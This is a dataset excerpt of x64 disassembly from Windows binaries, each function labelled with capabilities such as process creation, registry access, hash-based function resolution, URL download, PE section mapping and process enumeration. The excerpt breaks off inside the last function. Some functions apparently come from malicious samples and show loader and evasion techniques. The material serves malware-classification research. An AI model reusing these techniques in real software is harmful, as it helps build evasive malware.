joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003320
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbp
push rdi
lea rbp, [rax - 0x418]
sub rsp, 0x508
mov rax, qword [0x14000d3b8]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor edi, edi
lea r9, [rbp + 0x428]
mov r8, rcx
mov word [rbp - 0x20], di
lea rcx, [rbp - 0x20]
mov word [rbp + 0x3ee], di
mov edx, 0x208
call fcn.1400027f4
test eax, eax
js 0x14000345f
xor edx, edx
lea r8d, [rdi + 0x68]
lea rcx, [rsp + 0x70]
call sub.msvcrt.dll_memset
lea eax, [rdi + 6]
mov dword [rsp + 0x70], 0x68
mov word [rbp - 0x50], ax
lea rdx, [rbp - 0x20]
lea rax, [rsp + 0x58]
mov dword [rbp - 0x54], 0x81
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateProcessW]
nop dword [rax + rax]
test eax, eax
je 0x140003443
mov rcx, qword [rsp + 0x58]
or edx, 0xffffffff
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_WaitForSingleObject]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], edi
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetExitCodeProcess]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
mov eax, dword [rsp + 0x50]
jmp 0x14000344f
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov eax, ecx
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140006960
add rsp, 0x508
pop rdi
pop rbp
ret
Function at 0x140003afc
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
nop dword [rax + rax]
mov rcx, rax
mov edx, 0x7f0ea553
add rsp, 0x28
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
Function at 0x140003f38
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x14000d3b8]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0xf0
mov qword [rsp + 0x28], rax
mov rbx, r8
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
xor edx, edx
test eax, eax
jne 0x140003fba
cmp dword [rsp + 0x30], 2
jb 0x140004004
mov eax, dword [rsp + 0x40]
lea ecx, [rdx + 0x4e]
and eax, 0xffdf
cmp eax, ecx
je 0x140003fb6
cmp eax, 0x59
jne 0x140004004
mov dword [rbx], 1
jmp 0x140004004
mov dword [rbx], edx
jmp 0x140004004
mov eax, dword [rbx]
mov r9d, 1
neg eax
mov word [rsp + 0x42], dx
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 4
sbb r8w, r8w
mov qword [rsp + 0x20], rax
and r8w, 0xb
mov rdx, rsi
add r8w, 0x4e
mov rcx, rdi
mov word [rsp + 0x40], r8w
xor r8d, r8d
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140006960
add rsp, 0x140
pop rdi
pop rsi
pop rbx
ret

Function at 0x140004028
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x10], rdx
push rdi
sub rsp, 0x30
mov ebx, dword [0x14000d3d0]
lea rax, [r11 + 0x10]
mov qword [r11 - 0x10], rax
lea rbp, [0x14000d3d0]
lea r9, [r11 + 0x18]
mov qword [r11 - 0x18], rbp
xor r8d, r8d
mov dword [rsp + 0x48], 4
lea rdx, str.EventDispatchTtime
mov dword [rsp + 0x50], 4
mov rdi, rcx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
test eax, eax
jne 0x140004099
cmp dword [rsp + 0x50], 4
je 0x1400040cb
mov dword [0x14000d3d0], ebx
jmp 0x1400040cb
mov dword [rsp + 0x28], 4
lea rdx, str.EventDispatchTtime
mov r9d, 4
mov qword [rsp + 0x20], rbp
xor r8d, r8d
mov dword [0x14000d3d0], ebx
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
nop dword [rax + rax]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140005724
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x40
mov qword [rsp + 0x30], rsp
lea rcx, [0x14000d2c0]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
nop dword [rax + rax]
nop
cmp byte [0x14000f6d0], 0
jne 0x1400057de
lea rax, [0x14000f6d8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftMSDTCTracing
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
je 0x1400057d2
and qword [0x14000f6d8], 0
lea rcx, str.Unable_to_open_MSDTCTracing_settings_key_n
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringW]
nop dword [rax + rax]
movzx ecx, bx
or ecx, 0x80070000
test ebx, ebx
cmovle ecx, ebx
mov dword [rsp + 0x50], ecx
lea rdx, [0x1400057c7]
mov rcx, rsp
call sub.msvcrt.dll__local_unwind
nop
nop
mov eax, dword [rsp + 0x50]
add rsp, 0x40
pop rbx
ret
call fcn.1400057fc
mov byte [0x14000f6d0], 1
lea rcx, [0x14000d2c0]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
nop dword [rax + rax]
xor eax, eax
jmp 0x1400057cb
Function at 0x140005fc4
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x14000d3b8]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xor ebx, ebx
mov edi, 0x105
mov qword [rsp + 0x38], rbx
mov rsi, rdx
mov dword [rsp + 0x30], edi
mov r14, rcx
test rdx, rdx
jne 0x140006017
mov eax, 0x80070057
jmp 0x1400061ec
mov qword [rcx], rbx
mov qword [rdx], rbx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
nop dword [rax + rax]
lea r9, [rsp + 0x30]
xor edx, edx
mov rcx, rax
lea r8, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_core_psapi_l1_1_0.dll_QueryFullProcessImageNameW]
nop dword [rax + rax]
test eax, eax
jne 0x140006069
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x1400061ea
lea r9, [rsp + 0x38]
mov edx, edi
lea r8, [rbp + 0x2e0]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFullPathNameW]
nop dword [rax + rax]
test eax, eax
je 0x14000604a
mov rdx, qword [rsp + 0x38]
lea rcx, str.dllhost.exe
call qword [sym.imp.msvcrt.dll__wcsicmp]
nop dword [rax + rax]
test eax, eax
jne 0x1400061db
call qword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCommandLineA]
nop dword [rax + rax]
mov rcx, rax
mov edx, 0x20
call qword [sym.imp.msvcrt.dll_strchr]
nop dword [rax + rax]
test rax, rax
je 0x1400061db
add rax, 1
je 0x1400061db
movzx ecx, word [0x14000ad78]
lea rdx, [rsp + 0x40]
movsd xmm0, qword [str._ProcessID]
mov word [rsp + 0x50], cx
mov cl, byte [0x14000ad7a]
mov byte [rsp + 0x52], cl
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x40], rcx
mov rcx, rax
movsd qword [rsp + 0x48], xmm0
call fcn.140005ed4
cmp eax, 1
jl 0x1400061db
mov al, byte [rbp - 0x40]
lea rdi, [rbp - 0x40]
jmp 0x14000613a
lea rcx, [rdi + 1]
cmp al, 0x3a
je 0x140006140
mov al, byte [rcx]
mov rdi, rcx
test al, al
jne 0x14000612d
jmp 0x140006145
mov byte [rdi], bl
mov rdi, rcx
cmp byte [rdi], bl
je 0x140006162
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x40]
call qword [sym.imp.msvcrt.dll__stricmp]
nop dword [rax + rax]
test eax, eax
je 0x140006166
lea rdi, [rbp - 0x40]
mov rcx, rbx
test rdi, rdi
je 0x140006194
mov ecx, 0x28
mov r8, rdi
mov edx, ecx
mov eax, ebx
cmp byte [r8], bl
je 0x140006188
inc r8
sub rdx, 1
jne 0x14000617a
test rdx, rdx
jne 0x140006214
mov rcx, rbx
mov eax, 0x80070057
test eax, eax
js 0x1400061db
lea r9d, [rcx + 1]
mov dword [rsp + 0x28], 0x29
lea rax, [rsp + 0x60]
xor ecx, ecx
mov r8, rdi
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.api_ms_win_core_string_l1_1_0.dll_MultiByteToWideChar]
nop dword [rax + rax]
test eax, eax
je 0x1400061db
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.140002408
test eax, eax
js 0x1400061ea
mov rcx, qword [rsp + 0x38]
mov rdx, r14
call fcn.140002408
mov ebx, eax
mov eax, ebx
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.140006960
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
sub rcx, rdx
jmp 0x140006199
Function at 0x18000fbd0
Capabilities:
Read file via mapping

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x30
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
test rdx, rdx
je 0x18000fc7f
mov ebp, r8d
mov rbx, rdx
mov rsi, rcx
mov r9, rdx
shr r9, 0x20
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x28], 0
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
je 0x18000fc86
mov rdi, rax
mov eax, ebp
and eax, 4
lea edx, [rax*8 + 4]
mov qword [rsp + 0x20], rbx
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
test rax, rax
je 0x18000fc8d
xor eax, eax
test bpl, 2
sete al
lea edx, [rax*2 + 2]
mov qword [rsp + 0x20], rbx
xor ebx, ebx
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
test rax, rax
je 0x18000fc96
mov qword [rsi], r14
mov qword [rsi + 8], rax
jmp 0x18000fc9b
mov ebx, 2
jmp 0x18000fca4
mov ebx, 1
jmp 0x18000fca4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x30
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x18000fd10
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
cmp dword [0x18065bdc0], 0
jne 0x18000fd6f
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x50]
dec eax
mov edx, eax
shr edx, 1
or edx, eax
mov eax, edx
shr eax, 2
or eax, edx
mov edx, eax
shr edx, 4
or edx, eax
mov eax, edx
shr eax, 8
or eax, edx
mov edx, eax
shr edx, 0x10
or edx, eax
inc edx
shl rcx, 0x20
or rdx, rcx
mov qword [0x18065bdc8], rdx
mov eax, 1
xchg dword [0x18065bdc0], eax
mov rax, qword [0x18065bdc8]
add rsp, 0x58
ret

Function at 0x18001a340
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret
Function at 0x180028b00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.1800194f0
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.180034190
lea rax, [0x1800274d0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.180019c70
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x180028ba3
lea rcx, [rsp + 0x40]
call fcn.18005cb90
nop
jmp 0x180028bba
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.18003c5e0
nop
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x58
ret

Function at 0x18002f4a0
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x28]
call fcn.1800180f0
nop
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180018040
nop
lea rcx, [rsp + 0x38]
call fcn.180018280
movzx eax, al
test eax, eax
je 0x18002f539
lea rcx, [rsp + 0x38]
call fcn.18001a360
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0
je 0x18002f539
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019d20
mov rcx, rax
call fcn.180017a30
cmp eax, 0xfaba0065
jne 0x18002f537
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019510
jmp 0x18002f550
jmp 0x18002f4f1
lea rcx, [rsp + 0x28]
call fcn.180019d60
movzx eax, al
test eax, eax
jne 0x18002f4be
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x68
ret
Function at 0x18002f570
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
call fcn.18003bb90
nop
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x30]
call fcn.180018040
nop
lea rcx, [rsp + 0x30]
call fcn.180018280
movzx eax, al
test eax, eax
je 0x18002f609
lea rcx, [rsp + 0x30]
call fcn.18001a360
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0
je 0x18002f609
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.180019d20
mov rcx, rax
call fcn.180017a30
cmp eax, 0xfaba0065
jne 0x18002f607
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.180019510
jmp 0x18002f620
jmp 0x18002f5c1
lea rcx, [rsp + 0x28]
call fcn.18005ac30
movzx eax, al
test eax, eax
jne 0x18002f58e
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x58
ret

Function at 0x180030410
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x28]
call fcn.1800180f0
nop
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180018040
nop
lea rcx, [rsp + 0x38]
call fcn.180018280
movzx eax, al
test eax, eax
je 0x1800304a9
lea rcx, [rsp + 0x38]
call fcn.18001a360
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0
je 0x1800304a9
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019d20
mov rcx, rax
call fcn.180017a30
cmp eax, 0xf8f45725
jne 0x1800304a7
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019510
jmp 0x1800304c0
jmp 0x180030461
lea rcx, [rsp + 0x28]
call fcn.180019d60
movzx eax, al
test eax, eax
jne 0x18003042e
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x68
ret

Function at 0x180030750
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x28]
call fcn.1800180f0
nop
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180018040
nop
lea rcx, [rsp + 0x38]
call fcn.180018280
movzx eax, al
test eax, eax
je 0x1800307e9
lea rcx, [rsp + 0x38]
call fcn.18001a360
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0
je 0x1800307e9
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019d20
mov rcx, rax
call fcn.180017a30
cmp eax, 0x53b2070f
jne 0x1800307e7
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019510
jmp 0x180030800
jmp 0x1800307a1
lea rcx, [rsp + 0x28]
call fcn.180019d60
movzx eax, al
test eax, eax
jne 0x18003076e
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x68
ret
Function at 0x180031040
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x28]
call fcn.1800180f0
nop
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180018040
nop
lea rcx, [rsp + 0x38]
call fcn.180018280
movzx eax, al
test eax, eax
je 0x1800310d9
lea rcx, [rsp + 0x38]
call fcn.18001a360
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0
je 0x1800310d9
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019d20
mov rcx, rax
call fcn.180017a30
cmp eax, 0x3285501
jne 0x1800310d7
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019510
jmp 0x1800310f0
jmp 0x180031091
lea rcx, [rsp + 0x28]
call fcn.180019d60
movzx eax, al
test eax, eax
jne 0x18003105e
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x68
ret

Function at 0x180031110
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x28]
call fcn.1800180f0
nop
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180018040
nop
lea rcx, [rsp + 0x38]
call fcn.180018280
movzx eax, al
test eax, eax
je 0x1800311a9
lea rcx, [rsp + 0x38]
call fcn.18001a360
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0
je 0x1800311a9
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019d20
mov rcx, rax
call fcn.180017a30
cmp eax, 0xafcab3c4
jne 0x1800311a7
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180019510
jmp 0x1800311c0
jmp 0x180031161
lea rcx, [rsp + 0x28]
call fcn.180019d60
movzx eax, al
test eax, eax
jne 0x18003112e
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x68
ret

Function at 0x180031380
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
call fcn.18003bb90
nop
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x30]
lea rcx, [rsp + 0x30]
call fcn.180018040
nop
lea rcx, [rsp + 0x30]
call fcn.180018280
movzx eax, al
test eax, eax
je 0x180031419
lea rcx, [rsp + 0x30]
call fcn.18001a360
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0
je 0x180031419
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.180019d20
mov rcx, rax
call fcn.180017a30
cmp eax, 0x2fa62ca8
jne 0x180031417
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.180019510
jmp 0x180031430
jmp 0x1800313d1
lea rcx, [rsp + 0x28]
call fcn.18005ac30
movzx eax, al
test eax, eax
jne 0x18003139e
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x58
ret
Function at 0x1800399f0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.1800399a0
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x18003ec90
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x18003ecb3
mov rcx, qword [rsp + 0x40]
call fcn.18004ad90
nop
jmp 0x18003eccb
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x18003eccb
mov rcx, qword [rsp + 0x40]
call fcn.18004ab90
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x180040670
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x1800406b1
mov al, 1
jmp 0x1800406b3
xor al, al
add rsp, 0x48
ret
Function at 0x180040a20
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x88]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x28], rax
xor eax, eax
mov word [rsp + 0x20], ax
jmp 0x180040a70
movzx eax, word [rsp + 0x20]
inc ax
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x28]
add rax, 0x28
mov qword [rsp + 0x28], rax
movzx eax, word [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x180040b49
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x10], 0
jne 0x180040a96
jmp 0x180040a55
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
and eax, 0x2000000
test eax, eax
je 0x180040b44
call fcn.180034730
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x10]
mov qword [rsp + 0x40], rax
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [rsp + 0x48]
mov qword [rsp + 0x38], rax
call fcn.1800406c0
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov r9d, dword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.180062150
call fcn.180034630
mov qword [rsp + 0x60], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [rsp + 0x60]
nop
jmp 0x180040a55
add rsp, 0x78
ret

Function at 0x180040be0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x1804ccc40]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x130
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x180040c2b
xor eax, eax
jmp 0x180040c95
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x180040c88
mov rcx, qword [rsp + 0x180]
call fcn.18004f670
mov rdx, rax
lea rcx, [rsp + 0x5c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x180040c75
